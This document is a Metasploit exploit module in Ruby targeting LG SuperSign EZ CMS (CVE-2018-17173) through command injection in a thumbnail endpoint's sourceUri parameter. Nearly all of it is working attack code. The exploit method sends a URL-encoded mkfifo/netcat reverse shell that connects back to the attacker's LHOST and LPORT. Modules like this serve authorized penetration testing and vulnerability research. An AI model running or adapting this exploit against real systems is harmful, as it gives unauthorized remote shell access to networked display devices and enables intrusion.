1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name'=> 'LG Supersign EZ CMS RCE', 'Description' => %q{ LG SuperSignEZ CMS, that many LG SuperSign TVs have builtin, is prone to remote code execution due to an improper parameter handling }, 'Author'=> ['Alejandro Fanjul'], 'References'=> [ [ 'CVE', '2018-17173' ], [ 'URL', 'https://mamaquieroserpentester.blogspot.com/2018/09/lg-supersign-rce-to-luna-and-back-to.html'] ], 'License'=> MSF_LICENSE, 'Platform' => 'unix', 'Privileged' => false, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }, 'Arch' => ARCH_CMD, 'Payload'=> { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat' } }, 'Targets'=> [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 21 2018' ) ) register_options( [ OptString.new('RPORT',[true,'Target port','9080']) ], self.class) end def exploit lhost=datastore['LHOST'] lport=datastore['LPORT'] #uri = target_uri.path cmd = Rex::Text.uri_encode(payload.encoded) connect res = send_request_raw({ 'method'=>'GET', 'uri'=>"/qsr_server/device/getThumbnail?sourceUri='%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20"+lhost+"%20"+lport.to_s+"%20%3E%2Ftmp%2Ff;'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150" }) handler disconnect end end |